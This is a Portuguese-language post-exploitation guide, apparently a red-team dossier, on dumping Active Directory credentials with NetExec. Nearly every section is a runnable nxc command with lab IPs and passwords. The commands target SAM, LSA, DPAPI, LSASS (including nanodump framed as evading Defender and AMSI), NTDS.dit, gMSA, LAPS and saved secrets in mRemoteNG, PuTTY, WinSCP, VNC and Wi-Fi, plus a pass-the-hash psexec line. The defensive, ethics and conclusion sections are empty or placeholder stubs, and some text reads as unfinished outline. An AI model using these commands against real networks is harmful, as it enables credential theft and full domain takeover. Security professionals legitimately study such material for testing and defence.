NT-2026.09.30 DOSSIÊ

NETEXEC (NXC): DUMPING DE CREDENCIAIS EM ACTIVE DIRECTORY

Guia pratico de pos-explotacao usando NetExec para extrair credenciais de SAM, LSASS, LSA, DPAPI, NTDS.dit, gMSA, LAPS e aplicativos como mRemoteNG, PuTTY, WinSCP, VNC via modulos SMB.

Diagrama fluxo dumping credenciais NetExec: acesso SMB -> modulos coleta -> controle dominio AD

Visao geral

Este artigo apresenta uma cadeia completa de pos-explotacao para dumping de credenciais em ambientes Active Directory utilizando o framework NetExec (nxc), sucessor moderno do CrackMapExec. A tecnica cobre a extração de credenciais desde o nivel local (SAM, LSA, LSASS, DPAPI) ate segredos de dominio (NTDS.dit, gMSA, LAPS) e credenciais armazenadas em aplicativos de terceiros (mRemoteNG, PuTTY, Notepad++, PowerShell, WinSCP, VNC, Wi-Fi).

A progressao segue o padrao adversarial realista: autenticacao SMB inicial, enumeracao de modulos de coleta, dumping sistematico de multiplas fontes de credenciais, validacao de hashes capturados, e demonstracao de impacto (controle total de dominio via NTDS.dit, escalada via LAPS/gMSA, movimento lateral via Backup Operators).

Contexto tecnico

NetExec (nxc) e um framework de pos-explotacao escrito em Python, desenhado para operacoes de rede interna com suporte extensivo a protocolos SMB, WinRM, LDAP, SSH, MSSQL e outros. Substitui o CrackMapExec trazendo arquitetura modular, melhor desempenho e suporte a tecnicas modernas de evasao (ex.: nanodump para LSASS stealth).

O dumping de credenciais e a fase critica de pos-explotacao onde o atacante transita de acesso inicial para controle persistente e movimento lateral. As fontes de credenciais em Windows/AD incluem:

  • SAM local: hashes NTLM de contas locais (T1003.001)
  • LSA Secrets: credenciais de servicos, chaves de descriptografia (T1003.003)
  • LSASS: memoria do processo de autenticacao – hashes NTLM, senhas claras (WDigest), tickets Kerberos (T1003.002)
  • DPAPI: armazenamento seguro de segredos do usuario (navegadores, RDP, WiFi, Credential Manager) (T1003.004)
  • NTDS.dit: banco de dados do AD com todos os hashes de dominio (T1003.006)
  • gMSA/LAPS: solucoes Microsoft de gerenciamento de senhas de servico e admin local
  • Apps terceiros: mRemoteNG, PuTTY, WinSCP, VNC, Notepad++, PowerShell history, Wi-Fi profiles

NetExec automatiza a coleta via modulos (-M) e flags nativas (–sam, –lsa, –dpapi, –ntds, –gmsa) sobre SMB autenticado, tornando a pos-explotacao rapida, sistematica e escalavel.

O que e NetExec (nxc)

Apresentar NetExec como framework de pos-explotacao sucessor do CrackMapExec, com suporte a SMB, WinRM e outros protocolos para coleta de credenciais de multiplas fontes.

Por que importa para Red e Blue Teams

Explicar valor para red teamers (weaponizacao rapida) e blue teams (oportunidades de deteccao e misconfiguracoes criticas).

Dump Local SAM Hashes

Extrair hashes NTLM do banco SAM local via modulo –sam do nxc smb.

nxc smb 192.168.1.80 -u ieuser -p 123 --sam
Evidencia tecnica demonstrando Dump Local SAM Hashes
Evidencia tecnica: Dump Local SAM Hashes

Testar Hash como Credencial de Login

Validar hash NTLM capturado usando impacket-psexec para movimento lateral e escalada de privilegio.

impacket-psexec ieuser@192.168.180 -hashes:3dbde697d71690a769204beb12283678
Evidencia tecnica demonstrando Testar Hash como Credencial de Login
Evidencia tecnica: Testar Hash como Credencial de Login

Extrair Segredos LSA

Recuperar segredos LSA (credenciais de servico, chaves de descriptografia) via modulo –lsa.

nxc smb 192.168.1.80 -u ieuser -p 123 --lsa
Evidencia tecnica demonstrando Extrair Segredos LSA
Evidencia tecnica: Extrair Segredos LSA

Recuperar Dados de Registro Winlogon

Consultar chaves HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon para auto-login em texto claro via modulo reg-winlogon.

nxc smb 192.168.1.80 -u ieuser -p 123 -M reg-winlogon
Evidencia tecnica demonstrando Recuperar Dados de Registro Winlogon
Evidencia tecnica: Recuperar Dados de Registro Winlogon

Dump Credenciais DPAPI

Extrair senhas armazenadas pelo DPAPI (Credential Manager, navegadores, RDP, WiFi) via modulo –dpapi.

nxc smb 192.168.1.80 -u ieuser -p 123 --dpapi
Evidencia tecnica demonstrando Dump Credenciais DPAPI
Evidencia tecnica: Dump Credenciais DPAPI

Extrair Credenciais do LSASS via lsassy

Dumpar LSASS usando modulo lsassy (Procdump via SMB, Comsvcs.dll, MiniDumpWriteDump) para hashes NTLM, senhas claras, tickets Kerberos.

nxc smb 192.168.1.80 -u ieuser -p 123 -M lsassy
Evidencia tecnica demonstrando Extrair Credenciais do LSASS via lsassy
Evidencia tecnica: Extrair Credenciais do LSASS via lsassy

Dumping Memoria LSASS com Modulo nanodump

Usar modulo nanodump para dump stealthy de LSASS burlando Defender, AMSI e restricoes de acesso, gerando .dmp para analise offline.

nxc smb 192.168.1.80 -u ieuser -p 123 -M nanodump
Evidencia tecnica demonstrando Dumping Memoria LSASS com Modulo nanodump
Evidencia tecnica: Dumping Memoria LSASS com Modulo nanodump

Extrair Credenciais Armazenadas no mRemoteNG

Localizar e descriptografar confCons.xml do mRemoteNG via modulo mremoteng para credenciais de alta privilegio.

nxc smb 192.168.1.80 -u ieuser -p 123 -M mremoteng
Evidencia tecnica demonstrando Extrair Credenciais Armazenadas no mRemoteNG
Evidencia tecnica: Extrair Credenciais Armazenadas no mRemoteNG

Recuperar Arquivos de Chave Privada PuTTY

Extrair chaves SSH .ppk do registro (HKCU\Software\SimonTatham\PuTTY\Sessions) e disco via modulo putty.

nxc smb 192.168.1.80 -u ieuser -p 123 -M putty
Evidencia tecnica demonstrando Recuperar Arquivos de Chave Privada PuTTY
Evidencia tecnica: Recuperar Arquivos de Chave Privada PuTTY

Visualizar Chave Dumpada Localmente

Exibir conteudo da chave privada extraida para teste via ssh -i, Plink ou WinSCP.

cat 'putty_IEUser_UbuntuKey_2025-05-22_175949.sec'
Evidencia tecnica demonstrando Visualizar Chave Dumpada Localmente
Evidencia tecnica: Visualizar Chave Dumpada Localmente

Extrair Logs de Sessao Notepad++

Recuperar dados de sessao, configuracao ou backups do Notepad++ que podem conter senhas em scripts via modulo notepad++.

nxc smb 192.168.1.80 -u ieuser -p 123 -M notepad++
Evidencia tecnica demonstrando Extrair Logs de Sessao Notepad++
Evidencia tecnica: Extrair Logs de Sessao Notepad++

Recuperar Historico de Comandos PowerShell

Obter logs de comandos PowerShell (PSReadline/ConsoleHost_history.txt) via modulo powershell_history para credenciais em texto claro.

nxc smb 192.168.1.80 -u ieuser -p 123 -M powershell_history
Evidencia tecnica demonstrando Recuperar Historico de Comandos PowerShell
Evidencia tecnica: Recuperar Historico de Comandos PowerShell

Extrair Arquivos de Configuracao WinSCP

Extrair perfis de sites WinSCP (hostnames, usernames, senhas Base64, chaves SSH) de WinSCP.ini ou registro via modulo winscp.

nxc smb 192.168.1.80 -u ieuser -p 123 -M winscp
Evidencia tecnica demonstrando Extrair Arquivos de Configuracao WinSCP
Evidencia tecnica: Extrair Arquivos de Configuracao WinSCP

Dumping Senhas VNC

Buscar credenciais VNC (UltraVNC, RealVNC, TightVNC) no registro e arquivos de config via modulo vnc.

nxc smb 192.168.1.80 -u ieuser -p 123 -M vnc
Evidencia tecnica demonstrando Dumping Senhas VNC
Evidencia tecnica: Dumping Senhas VNC

Extraindo Credenciais Wi-Fi

Extrair SSIDs e PSKs Wi-Fi armazenados via modulo wifi consultando PowerShell ou registro.

nxc smb 192.168.1.46 -u administrator -p 123 -M wifi
Evidencia tecnica demonstrando Extraindo Credenciais Wi-Fi
Evidencia tecnica: Extraindo Credenciais Wi-Fi

Dumping Permissoes Backup Operators

Verificar se usuario pertence ao grupo Backup Operators e pode ler SAM, SYSTEM, SECURITY, NTDS.dit via modulo backup_operator.

nxc smb 192.168.1.53 -u raj -p Password@1 -M backup_operator
Evidencia tecnica demonstrando Dumping Permissoes Backup Operators
Evidencia tecnica: Dumping Permissoes Backup Operators

Dumping NTDS.dit com Usuario Autenticado

Dumpar NTDS.dit (usernames, hashes NTLM, group memberships, trust details) usando Volume Shadow Copy via –ntds.

nxc smb 192.168.1.53 -u yashika -p Password@1 --ntds
Evidencia tecnica demonstrando Dumping NTDS.dit com Usuario Autenticado
Evidencia tecnica: Dumping NTDS.dit com Usuario Autenticado

Extrair Credenciais gMSA

Enumerar Group Managed Service Accounts obtendo nomes de conta, chaves Kerberos e metadata via –gmsa.

nxc smb 192.168.1.53 -u komal -p Passwor@1 --gmsa
Evidencia tecnica demonstrando Extrair Credenciais gMSA
Evidencia tecnica: Extrair Credenciais gMSA

Recuperar Senha LAPS via NetExec

Consultar atributo ms-Mcs-AdmPwd de contas de computador para obter senha de admin local gerenciada por LAPS via -M laps.

nxc smb 192.168.1.53 -u komal -p Passwor@1 -M laps
Evidencia tecnica demonstrando Recuperar Senha LAPS via NetExec
Evidencia tecnica: Recuperar Senha LAPS via NetExec

Perspectiva defensiva

Deteccao

Mitigacao

Listar medidas defensivas: segregar acesso SMB, monitorar LSA/SAM/registro, limitar credenciais armazenadas, restringir Backup Operators/gMSA, validar acesso a arquivos sensiveis.

Limitacoes

Etica

Conclusao